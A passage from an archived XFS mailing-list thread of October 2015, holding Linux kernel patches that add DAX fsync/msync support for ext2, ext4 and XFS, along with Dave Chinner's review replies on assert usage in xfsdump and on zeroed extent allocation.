storage domain fencing/commits on receiving a + * REQ_FLUSH or REQ_FUA request so that this works as expected by the higher + * layers. + */ +int dax_flush_mapping(struct address_space *mapping, loff_t start, loff_t end) +{ + struct inode *inode = mapping->host; + pgoff_t indices[PAGEVEC_SIZE]; + struct pagevec pvec; + int i, error; + + pgoff_t start_page = start >> PAGE_CACHE_SHIFT; + pgoff_t end_page = end >> PAGE_CACHE_SHIFT; + + + if (mapping->nrdax == 0) + return 0; + + if (!inode->i_op->get_block) { + WARN_ONCE(1, "Flushing DAX mapping without get_block()!"); + mapping->nrdax = 0; + return 0; + } + + BUG_ON(inode->i_blkbits != PAGE_SHIFT); + + tag_pages_for_writeback(mapping, start_page, end_page); + + pagevec_init(&pvec, 0); + while (1) { + pvec.nr = find_get_entries_tag(mapping, start_page, + PAGECACHE_TAG_TOWRITE, PAGEVEC_SIZE, + pvec.pages, indices); + + if (pvec.nr == 0) + break; + + for (i = 0; i < pvec.nr; i++) { + error = dax_flush_one_mapping(mapping, inode, + indices[i], pvec.pages[i]); + if (error) + return error; + } + } + + return 0; +} diff --git a/include/linux/dax.h b/include/linux/dax.h index e9d57f68..5eff476 100644 --- a/include/linux/dax.h +++ b/include/linux/dax.h @@ -41,4 +41,5 @@ static inline bool dax_mapping(struct address_space *mapping) { return mapping->host && IS_DAX(mapping->host); } +int dax_flush_mapping(struct address_space *mapping, loff_t start, loff_t end); #endif diff --git a/mm/huge_memory.c b/mm/huge_memory.c index bbac913..1b3df56 100644 --- a/mm/huge_memory.c +++ b/mm/huge_memory.c @@ -877,15 +877,13 @@ static void insert_pfn_pmd(struct vm_area_struct *vma, unsigned long addr, spinlock_t *ptl; ptl = pmd_lock(mm, pmd); - if (pmd_none(*pmd)) { - entry = pmd_mkhuge(pfn_pmd(pfn, prot)); - if (write) { - entry = pmd_mkyoung(pmd_mkdirty(entry)); - entry = maybe_pmd_mkwrite(entry, vma); - } - set_pmd_at(mm, addr, pmd, entry); - update_mmu_cache_pmd(vma, addr, pmd); + entry = pmd_mkhuge(pfn_pmd(pfn, prot)); + if (write) { + entry = pmd_mkyoung(pmd_mkdirty(entry)); + entry = maybe_pmd_mkwrite(entry, vma); } + set_pmd_at(mm, addr, pmd, entry); + update_mmu_cache_pmd(vma, addr, pmd); spin_unlock(ptl); } diff --git a/mm/page-writeback.c b/mm/page-writeback.c index 2c90357..1801df8 100644 --- a/mm/page-writeback.c +++ b/mm/page-writeback.c @@ -37,6 +37,7 @@ #include #include #include +#include #include #include "internal.h" @@ -2338,6 +2339,14 @@ int do_writepages(struct address_space *mapping, struct writeback_control *wbc) if (wbc->nr_to_write <= 0) return 0; + + if (wbc->sync_mode == WB_SYNC_ALL && dax_mapping(mapping)) { + ret = dax_flush_mapping(mapping, wbc->range_start, + wbc->range_end); + if (ret) + return ret; + } + if (mapping->a_ops->writepages) ret = mapping->a_ops->writepages(mapping, wbc); else -- 2.1.0 From ross.zwisler@linux.intel.com Thu Oct 29 15:12:40 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D9FCB7F3F for ; Thu, 29 Oct 2015 15:12:40 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id C8AF78F804C for ; Thu, 29 Oct 2015 13:12:40 -0700 (PDT) X-ASG-Debug-ID: 1446149558-04cb6c7b86112680001-NocioJ Received: from mga03.intel.com (mga03.intel.com [134.134.136.65]) by cuda.sgi.com with ESMTP id Bl6PBMSt0hytUACb for ; Thu, 29 Oct 2015 13:12:38 -0700 (PDT) X-Barracuda-Envelope-From: ross.zwisler@linux.intel.com X-Barracuda-Apparent-Source-IP: 134.134.136.65 Received: from fmsmga002.fm.intel.com ([10.253.24.26]) by orsmga103.jf.intel.com with ESMTP; 29 Oct 2015 13:12:37 -0700 X-ExtLoop1: 1 X-IronPort-AV: E=Sophos;i="5.20,215,1444719600"; d="scan'208";a="838730673" Received: from theros.lm.intel.com ([10.232.112.192]) by fmsmga002.fm.intel.com with ESMTP; 29 Oct 2015 13:12:36 -0700 From: Ross Zwisler To: linux-kernel@vger.kernel.org Cc: Ross Zwisler , "H. Peter Anvin" , "J. Bruce Fields" , "Theodore Ts'o" , Alexander Viro , Andreas Dilger , Dan Williams , Dave Chinner , Ingo Molnar , Jan Kara , Jeff Layton , Matthew Wilcox , Thomas Gleixner , linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-mm@kvack.org, linux-nvdimm@lists.01.org, x86@kernel.org, xfs@oss.sgi.com, Andrew Morton , Matthew Wilcox Subject: [RFC 10/11] xfs, ext2: call dax_pfn_mkwrite() on write fault Date: Thu, 29 Oct 2015 14:12:14 -0600 X-ASG-Orig-Subj: [RFC 10/11] xfs, ext2: call dax_pfn_mkwrite() on write fault Message-Id: <1446149535-16200-11-git-send-email-ross.zwisler@linux.intel.com> X-Mailer: git-send-email 2.1.0 In-Reply-To: <1446149535-16200-1-git-send-email-ross.zwisler@linux.intel.com> References: <1446149535-16200-1-git-send-email-ross.zwisler@linux.intel.com> X-Barracuda-Connect: mga03.intel.com[134.134.136.65] X-Barracuda-Start-Time: 1446149558 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23933 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Previously the functionality offered by dax_pfn_mkwrite() was open-coded in XFS and ext2. With the addition of DAX msync/fsync support we need to call dax_pfn_mkwrite() so that the newly writeable page can be added to the radix tree and marked as dirty. Signed-off-by: Ross Zwisler --- fs/ext2/file.c | 4 +++- fs/xfs/xfs_file.c | 9 +++++---- 2 files changed, 8 insertions(+), 5 deletions(-) diff --git a/fs/ext2/file.c b/fs/ext2/file.c index fc1418c..5741e29 100644 --- a/fs/ext2/file.c +++ b/fs/ext2/file.c @@ -102,8 +102,8 @@ static int ext2_dax_pfn_mkwrite(struct vm_area_struct *vma, { struct inode *inode = file_inode(vma->vm_file); struct ext2_inode_info *ei = EXT2_I(inode); - int ret = VM_FAULT_NOPAGE; loff_t size; + int ret; sb_start_pagefault(inode->i_sb); file_update_time(vma->vm_file); @@ -113,6 +113,8 @@ static int ext2_dax_pfn_mkwrite(struct vm_area_struct *vma, size = (i_size_read(inode) + PAGE_SIZE - 1) >> PAGE_SHIFT; if (vmf->pgoff >= size) ret = VM_FAULT_SIGBUS; + else + ret = dax_pfn_mkwrite(vma, vmf); up_read(&ei->dax_sem); sb_end_pagefault(inode->i_sb); diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index f429662..584e4eb 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -1575,9 +1575,8 @@ xfs_filemap_pmd_fault( /* * pfn_mkwrite was originally inteneded to ensure we capture time stamp * updates on write faults. In reality, it's need to serialise against - * truncate similar to page_mkwrite. Hence we open-code dax_pfn_mkwrite() - * here and cycle the XFS_MMAPLOCK_SHARED to ensure we serialise the fault - * barrier in place. + * truncate similar to page_mkwrite. Hence we cycle the XFS_MMAPLOCK_SHARED + * to ensure we serialise the fault barrier in place. */ static int xfs_filemap_pfn_mkwrite( @@ -1587,7 +1586,7 @@ xfs_filemap_pfn_mkwrite( struct inode *inode = file_inode(vma->vm_file); struct xfs_inode *ip = XFS_I(inode); - int ret = VM_FAULT_NOPAGE; + int ret; loff_t size; trace_xfs_filemap_pfn_mkwrite(ip); @@ -1600,6 +1599,8 @@ xfs_filemap_pfn_mkwrite( size = (i_size_read(inode) + PAGE_SIZE - 1) >> PAGE_SHIFT; if (vmf->pgoff >= size) ret = VM_FAULT_SIGBUS; + else + ret = dax_pfn_mkwrite(vma, vmf); xfs_iunlock(ip, XFS_MMAPLOCK_SHARED); sb_end_pagefault(inode->i_sb); return ret; -- 2.1.0 From ross.zwisler@linux.intel.com Thu Oct 29 15:12:41 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 23CDC7F3F for ; Thu, 29 Oct 2015 15:12:41 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id A0508AC002 for ; Thu, 29 Oct 2015 13:12:40 -0700 (PDT) X-ASG-Debug-ID: 1446149554-04bdf0330c122fd0005-NocioJ Received: from mga03.intel.com (mga03.intel.com [134.134.136.65]) by cuda.sgi.com with ESMTP id lIMQS4vjGB6Qlrj5 for ; Thu, 29 Oct 2015 13:12:38 -0700 (PDT) X-Barracuda-Envelope-From: ross.zwisler@linux.intel.com X-Barracuda-Apparent-Source-IP: 134.134.136.65 Received: from fmsmga002.fm.intel.com ([10.253.24.26]) by orsmga103.jf.intel.com with ESMTP; 29 Oct 2015 13:12:38 -0700 X-ExtLoop1: 1 X-IronPort-AV: E=Sophos;i="5.20,215,1444719600"; d="scan'208";a="838730681" Received: from theros.lm.intel.com ([10.232.112.192]) by fmsmga002.fm.intel.com with ESMTP; 29 Oct 2015 13:12:37 -0700 From: Ross Zwisler To: linux-kernel@vger.kernel.org Cc: Ross Zwisler , "H. Peter Anvin" , "J. Bruce Fields" , "Theodore Ts'o" , Alexander Viro , Andreas Dilger , Dan Williams , Dave Chinner , Ingo Molnar , Jan Kara , Jeff Layton , Matthew Wilcox , Thomas Gleixner , linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-mm@kvack.org, linux-nvdimm@lists.01.org, x86@kernel.org, xfs@oss.sgi.com, Andrew Morton , Matthew Wilcox Subject: [RFC 11/11] ext4: add ext4_dax_pfn_mkwrite() Date: Thu, 29 Oct 2015 14:12:15 -0600 X-ASG-Orig-Subj: [RFC 11/11] ext4: add ext4_dax_pfn_mkwrite() Message-Id: <1446149535-16200-12-git-send-email-ross.zwisler@linux.intel.com> X-Mailer: git-send-email 2.1.0 In-Reply-To: <1446149535-16200-1-git-send-email-ross.zwisler@linux.intel.com> References: <1446149535-16200-1-git-send-email-ross.zwisler@linux.intel.com> X-Barracuda-Connect: mga03.intel.com[134.134.136.65] X-Barracuda-Start-Time: 1446149558 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23933 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Add ext4_dax_pfn_mkwrite() that properly protects against freeze, sets the file update time and calls into dax_pfn_mkwrite() to add the newly dirtied page to the radix tree which tracks dirty DAX pages. Signed-off-by: Ross Zwisler --- fs/ext4/file.c | 22 +++++++++++++++++++++- 1 file changed, 21 insertions(+), 1 deletion(-) diff --git a/fs/ext4/file.c b/fs/ext4/file.c index 54d7729..7f62cad 100644 --- a/fs/ext4/file.c +++ b/fs/ext4/file.c @@ -272,11 +272,31 @@ static int ext4_dax_mkwrite(struct vm_area_struct *vma, struct vm_fault *vmf) ext4_end_io_unwritten); } +static int ext4_dax_pfn_mkwrite(struct vm_area_struct *vma, struct vm_fault *vmf) +{ + struct inode *inode = file_inode(vma->vm_file); + loff_t size; + int ret; + + sb_start_pagefault(inode->i_sb); + file_update_time(vma->vm_file); + + /* check that the faulting page hasn't raced with truncate */ + size = (i_size_read(inode) + PAGE_SIZE - 1) >> PAGE_SHIFT; + if (vmf->pgoff >= size) + ret = VM_FAULT_SIGBUS; + else + ret = dax_pfn_mkwrite(vma, vmf); + + sb_end_pagefault(inode->i_sb); + return ret; +} + static const struct vm_operations_struct ext4_dax_vm_ops = { .fault = ext4_dax_fault, .pmd_fault = ext4_dax_pmd_fault, .page_mkwrite = ext4_dax_mkwrite, - .pfn_mkwrite = dax_pfn_mkwrite, + .pfn_mkwrite = ext4_dax_pfn_mkwrite, }; #else #define ext4_dax_vm_ops ext4_file_vm_ops -- 2.1.0 From david@fromorbit.com Thu Oct 29 17:26:17 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A6CFB7CBF for ; Thu, 29 Oct 2015 17:26:17 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 970B730404E for ; Thu, 29 Oct 2015 15:26:14 -0700 (PDT) X-ASG-Debug-ID: 1446157571-04cbb0660d125900001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id ulyB6FixkKQZvL7x for ; Thu, 29 Oct 2015 15:26:11 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2DeCAASnDJWXQLd03ZegzaBAEKqLwEBAQEBAQaLLIUlhgmGEwICAQECgTRNAQEBAQEBB4EEhDUBAQEDATocIxAIAw4HAwklDwUlAwcaE4goB8UjAQEBBwIBIBmGF4VFiCyBFAWWQ40dnD6CdB2Baio0hX4BAQE Received: from ppp118-211-221-2.lns20.syd4.internode.on.net (HELO dastard) ([118.211.221.2]) by ipmail06.adl2.internode.on.net with ESMTP; 30 Oct 2015 08:56:10 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1Zrve5-0002vT-Km; Fri, 30 Oct 2015 09:26:09 +1100 Date: Fri, 30 Oct 2015 09:26:09 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/8] cleanup: get rid of ASSERT Message-ID: <20151029222609.GC10656@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/8] cleanup: get rid of ASSERT References: <1444959901-31319-1-git-send-email-david@fromorbit.com> <1444959901-31319-2-git-send-email-david@fromorbit.com> <20151028115121.GA50552@bfoster.bfoster> <20151028223234.GQ8773@dastard> <20151029121333.GA11663@bfoster.bfoster> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151029121333.GA11663@bfoster.bfoster> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1446157571 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23937 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Oct 29, 2015 at 08:13:34AM -0400, Brian Foster wrote: > On Thu, Oct 29, 2015 at 09:32:34AM +1100, Dave Chinner wrote: > > On Wed, Oct 28, 2015 at 07:51:22AM -0400, Brian Foster wrote: > > > On Fri, Oct 16, 2015 at 12:44:54PM +1100, Dave Chinner wrote: > > > > From: Dave Chinner > > > > > > > > ASSERT comes from the xfs/xfs.h include, and we don't ever define > > > > DEBUG so we never get asserts built in. We want asserts built in for > > > > testing, but not for distro packages. The debian package already > > > > tries to do this by using "export DEBUG=-DNDEBUG" for the build > > > > context, but seeing as we pull in #define ASSERT(ex) (0) from the > > > > XFS headers it's a no-op. > > > > > > > > Convert all the ASSERT calls to assert to remove this conflict with > > > > the xfsprogs headers and so local developer builds are built with > > > > asserts enabled. > > > > > > > > Signed-off-by: Dave Chinner > > > > --- > > > > > > My initial concern when reading this was that asserts were now > > > unconditionally enabled. According to the man page, assert() is enabled > > > unless NDEBUG is defined at include time. The debian builder apparently > > > does this, but is this standard for other such utils? > > > > For other XFS utilities? Yes. For other packages I don't maintain? I > > don't know, I don't care, and I don't think it's relevant at all. > > How the distro builds and packages a utility is up to the distro > > maintainers - if they define -NDEBUG, then there is absolutely no > > change in behaviour of xfsdump. I think the binary is effectively > > unchanged as assert() is defined out in that case... > > > > I'm talking about common packaging tools (e.g., yum/dnf being the > obvious next example) and XFS packages, not random other packages. If > they don't define NDEBUG, then apparently there is a change in behavior. If they don't define that, then they've been building the packages incorrectly... ;) > > > If the > > > problem is that asserts cannot be enabled, I'm wondering why the > > > appropriate fix isn't to define DEBUG somewhere for debug-enabled builds > > > rather than unconditionally convert all of the ASSERT() calls into > > > actual assert()'s..? > > > > Becuase it has to build with both old and new xfsprogs userspace > > headers. Hence we cannot use ASSERT reliably in xfsdump at all, > > because it's owned by the old xfsprogs headers and it's behaviour is > > determined by whatever that xfsprogs installation defined...... > > > > Then why not try to undef/redef in xfsdump or just rename the #define > that's used? I don't care too much either way, I just don't follow why > there's a need to change behavior at all to fix a naming conflict. > > Are we saying that ASSERT() probably shouldn't exist in userspace (incl. > xfsprogs) and we should always use the generic assert() mechanism? Or > are we saying ASSERT() can exist in userspace, but it's purely a libxfs > thing and should not be exported beyond that (e.g., libxfs can use > ASSERT(), actual userspace tools like repair, etc. should eventually use > assert())..? Precisely this. ASSERT is used in the kernel side libxfs code, and so only exists in userspace to support the libxfs code in userspace. We don't want the libxfs code in userspace aborting on corrupt structures or invalid situations, because we need to handle/parse/repair such brokenness. IOWS, the ASSERTs in libxfs/ in userspace need to be turned off for userspace to work correctly. That's what the DEBUG define in libxfs does. That leads to the xfsprogs userspace still needing an assert facility - that comes from using assert() and NDEBUG to turn it off and on. Essentially, ASSERT is internal to libxfs and should not be exported anywhere. assert() should used outside libxfs in xfsprogs and other XFS code bases. Cheers, Dave. -- Dave Chinner david@fromorbit.com From ross.zwisler@linux.intel.com Thu Oct 29 17:50:07 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D873E7F47 for ; Thu, 29 Oct 2015 17:50:07 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id CA19F8F8033 for ; Thu, 29 Oct 2015 15:50:04 -0700 (PDT) X-ASG-Debug-ID: 1446158999-04cb6c7b871162b0001-NocioJ Received: from mga02.intel.com (mga02.intel.com [134.134.136.20]) by cuda.sgi.com with ESMTP id 0UmV8VoR3jwsgGWx for ; Thu, 29 Oct 2015 15:50:00 -0700 (PDT) X-Barracuda-Envelope-From: ross.zwisler@linux.intel.com X-Barracuda-Apparent-Source-IP: 134.134.136.20 X-ASG-Whitelist: EmailCat (corporate) Received: from fmsmga002.fm.intel.com ([10.253.24.26]) by orsmga101.jf.intel.com with ESMTP; 29 Oct 2015 15:49:54 -0700 X-ExtLoop1: 1 X-IronPort-AV: E=Sophos;i="5.20,216,1444719600"; d="scan'208";a="838826757" Received: from theros.lm.intel.com (HELO linux.intel.com) ([10.232.112.192]) by fmsmga002.fm.intel.com with ESMTP; 29 Oct 2015 15:49:53 -0700 Date: Thu, 29 Oct 2015 16:49:53 -0600 From: Ross Zwisler To: Ross Zwisler , Dave Chinner Cc: linux-kernel@vger.kernel.org, "H. Peter Anvin" , "J. Bruce Fields" , Theodore Ts'o , Alexander Viro , Andreas Dilger , Dan Williams , Dave Chinner , Ingo Molnar , Jan Kara , Jeff Layton , Matthew Wilcox , Thomas Gleixner , linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-mm@kvack.org, linux-nvdimm@lists.01.org, x86@kernel.org, xfs@oss.sgi.com, Andrew Morton , Matthew Wilcox Subject: Re: [RFC 00/11] DAX fsynx/msync support Message-ID: <20151029224953.GA17933@linux.intel.com> X-ASG-Orig-Subj: Re: [RFC 00/11] DAX fsynx/msync support Mail-Followup-To: Ross Zwisler , Dave Chinner , linux-kernel@vger.kernel.org, "H. Peter Anvin" , "J. Bruce Fields" , Theodore Ts'o , Alexander Viro , Andreas Dilger , Dan Williams , Ingo Molnar , Jan Kara , Jeff Layton , Matthew Wilcox , Thomas Gleixner , linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-mm@kvack.org, linux-nvdimm@lists.01.org, x86@kernel.org, xfs@oss.sgi.com, Andrew Morton , Matthew Wilcox References: <1446149535-16200-1-git-send-email-ross.zwisler@linux.intel.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1446149535-16200-1-git-send-email-ross.zwisler@linux.intel.com> User-Agent: Mutt/1.5.23 (2014-03-12) X-Barracuda-Connect: mga02.intel.com[134.134.136.20] X-Barracuda-Start-Time: 1446159000 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-ASG-Whitelist: Body =?UTF-8?B?aHR0cDovL21hcmNcLmluZm8vXD8=?= X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Thu, Oct 29, 2015 at 02:12:04PM -0600, Ross Zwisler wrote: > This patch series adds support for fsync/msync to DAX. > > Patches 1 through 8 add various utilities that the DAX code will eventually > need, and the DAX code itself is added by patch 9. Patches 10 and 11 are > filesystem changes that are needed after the DAX code is added, but these > patches may change slightly as the filesystem fault handling for DAX is > being modified ([1] and [2]). > > I've marked this series as RFC because I'm still testing, but I wanted to > get this out there so people would see the direction I was going and > hopefully comment on any big red flags sooner rather than later. > > I realize that we are getting pretty dang close to the v4.4 merge window, > but I think that if we can get this reviewed and working it's a much better > solution than the "big hammer" approach that blindly flushes entire PMEM > namespaces [3]. > > [1] http://oss.sgi.com/archives/xfs/2015-10/msg00523.html > [2] http://marc.info/?l=linux-ext4&m=144550211312472&w=2 > [3] https://lists.01.org/pipermail/linux-nvdimm/2015-October/002614.html Hmm...I think I may need to isolate the fsync/msync flushing against races with truncate since we are calling into the filesystem directly with get_block(). Dave (Chinner), does this sound right? Also, one thing I forgot to mention is that these patches are built upon the first version of Dave Chinner's XFS patches and my ext2 patches that deal with the truncate races with DAX. A snapshot of my development tree with these patches applied can be found here: https://github.com/01org/prd/tree/fsync_rfc From david@fromorbit.com Thu Oct 29 18:36:00 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4603A7CBF for ; Thu, 29 Oct 2015 18:36:00 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 372EF30404E for ; Thu, 29 Oct 2015 16:35:56 -0700 (PDT) X-ASG-Debug-ID: 1446161749-04cbb0660c1273f0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id IWBJt4r6oTr8FQgv for ; Thu, 29 Oct 2015 16:35:50 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2AWCACCrDJWXQLd03ZegzaBQqovAQEBAQEBBosshSWGCYYTAgIBAQKBNE0BAQEBAQEHgQSENQEBAQMBJxMcIwULCAMOBwMJJQ8FJQMHGhOIKAfEfgEBAQcCASAZhheFRYUEhDwFh0eLH4NdjR2PLo0QhHsqNIV+AQEB Received: from ppp118-211-221-2.lns20.syd4.internode.on.net (HELO dastard) ([118.211.221.2]) by ipmail06.adl2.internode.on.net with ESMTP; 30 Oct 2015 10:05:49 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZrwjU-000353-67; Fri, 30 Oct 2015 10:35:48 +1100 Date: Fri, 30 Oct 2015 10:35:48 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com, ross.zwisler@linux.intel.com, jack@suse.cz Subject: Re: [PATCH 2/6] xfs: introduce BMAPI_ZERO for allocating zeroed extents Message-ID: <20151029233548.GR19199@dastard> X-ASG-Orig-Subj: Re: [PATCH 2/6] xfs: introduce BMAPI_ZERO for allocating zeroed extents References: <1445225238-30413-1-git-send-email-david@fromorbit.com> <1445225238-30413-3-git-send-email-david@fromorbit.com> <20151029142757.GD11663@bfoster.bfoster> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151029142757.GD11663@bfoster.bfoster> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1446161749 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23938 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Oct 29, 2015 at 10:27:58AM -0400, Brian Foster wrote: > On Mon, Oct 19, 2015 at 02:27:14PM +1100, Dave Chinner wrote: > > From: Dave Chinner > > > > To enable DAX to do atomic allocation of zeroed extents, we need to > > drive the block zeroing deep into the allocator. Because > > xfs_bmapi_write() can return merged extents on allocation that were > > only partially allocated (i.e. requested range spans allocated and > > hole regions, allocation into the hole was contiguous), we cannot > > zero the extent returned from xfs_bmapi_write() as that can > > overwrite existing data with zeros. > > > > Hence we have to drive the extent zeroing into the allocation code, > > prior to where we merge the extents into the BMBT and return the > > resultant map. This means we need to propagate this need down to > > the xfs_alloc_vextent() and issue the block zeroing at this point. > > > > While this functionality is being introduced for DAX, there is no > > reason why it is specific to DAX - we can per-zero blocks during the > > allocation transaction on any type of device. It's just slow (and > > usually slower than unwritten allocation and conversion) on > > traditional block devices so doesn't tend to get used. We can, > > however, hook hardware zeroing optimisations via sb_issue_zeroout() > > to this operation, so it may be useful in future and hence the > > "allocate zeroed blocks" API needs to be implementation neutral. > > > > Signed-off-by: Dave Chinner .... > > #endif > > + > > + /* Zero the extent if we were asked to do so */ > > + if (args->userdata & XFS_ALLOC_USERDATA_ZERO) { > > + error = xfs_zero_extent(args->ip, args->fsbno, args->len); > > + if (error) > > + goto error0; > > + } > > + > > Ok, so we wire up zeroing to the actual block allocation here... Yes. > > @@ -4421,6 +4429,17 @@ xfs_bmapi_convert_unwritten( > > mval->br_state = (mval->br_state == XFS_EXT_UNWRITTEN) > > ? XFS_EXT_NORM : XFS_EXT_UNWRITTEN; > > > > + /* > > + * Before insertion into the bmbt, zero the range being converted > > + * if required. > > + */ > > + if (flags & XFS_BMAPI_ZERO) { > > + error = xfs_zero_extent(bma->ip, mval->br_startblock, > > + mval->br_blockcount); > > + if (error) > > + return error; > > + } > > + > > ... and also zero the extent on unwritten conversion, if necessary. Correct. > I suspect there's no use case to pass XFS_BMAPI_ZERO for new unwritten > allocations, but if the flag is passed, doesn't this cause duplicate > block zeroing? It probably would, but.... > Perhaps we should drop the zero flag from 'flags' after > allocation in xfs_bmapi_write() just to ensure this executes in one > place or the other..? I think that if we hit this, we're doing something else wrong - why would we allocate unwritten extents and still need to initialise them to zero? > > + xfs_daddr_t sector = xfs_fsb_to_db(ip, start_fsb); > > + sector_t block = XFS_BB_TO_FSBT(mp, sector); > > + ssize_t size = XFS_FSB_TO_B(mp, count_fsb); > > + > > + if (IS_DAX(VFS_I(ip))) > > + return dax_clear_blocks(VFS_I(ip), block, size); > > + > > + /* > > + * let the block layer decide on the fastest method of > > + * implementing the zeroing. > > + */ > > + return sb_issue_zeroout(mp->m_super, block, count_fsb, GFP_NOFS); 